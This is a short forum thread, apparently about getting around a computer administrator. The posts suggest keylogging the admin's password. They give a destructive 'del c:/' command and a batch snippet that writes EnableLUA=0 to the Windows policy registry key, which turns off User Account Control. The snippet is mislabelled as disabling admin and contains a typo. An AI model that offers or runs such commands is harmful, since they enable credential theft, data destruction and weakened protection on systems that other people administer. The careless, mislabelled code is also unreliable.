[hackdenise]

Keylog, the admin's password. That's really all you can do ATM.

[Runeater]

(this is all for educational purposes)
Type in cmd
del c:/ "whatever the file path is"
not that hard bro

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Also this should work to disable admin
Type in cmd
REM Disable Admin
@Set RegistyEditCmd=Cmd //k Reg Add
@Set HiveSysKey=HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
@%RegistyEditCmd% "%HiveSysKey%" /v "EnableLUA" /t "REG_DWORD" /d "0" /f > nul

Pm me for any questions and ill try to help